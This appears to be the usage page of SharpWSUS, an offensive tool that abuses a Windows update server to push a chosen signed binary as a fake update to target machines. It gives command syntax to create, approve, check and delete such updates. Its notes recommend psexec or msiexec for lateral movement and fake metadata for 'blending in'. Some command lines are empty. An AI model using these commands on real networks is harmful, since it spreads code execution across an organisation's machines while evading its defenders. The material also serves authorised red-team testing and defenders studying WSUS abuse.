Commands listed below have optional parameters in <>.

Locate the WSUS server:

Inspect the WSUS server, enumerating clients, servers and existing groups:

Create an update (NOTE: The payload has to be a windows signed binary):
SharpWSUS.exe create /payload:[File location] /args:[Args for payload] </title:[Update title] /date:[YYYY-MM-DD] /kb:[KB on update] /rating:[Rating of update] /msrc:[MS RC] /description:[description] /url:[url]>

Approve an update:
SharpWSUS.exe approve /updateid:[UpdateGUID] /computername:[Computer to target] </groupname:[Group for computer to be added too] /approver:[Name of approver]>

Check status of an update:
SharpWSUS.exe check /updateid:[UpdateGUID] /computername:[Target FQDN]

Delete update and clean up groups added:
SharpWSUS.exe delete /updateid:[UpdateGUID] /computername:[Target FQDN] </groupname:[GroupName] /keepgroup>

Example Usage

Notes

  • Binary has to be windows signed, so psexec, msiexec, msbuild etc could be useful for lateral movement.
  • The metadata on the create command is not needed, but is useful for blending in to the environment.
  • If testing in a lab the first is usually quick, then each subsequent update will take a couple hours (this is due to how windows evaluates whether an update is installed already or not)
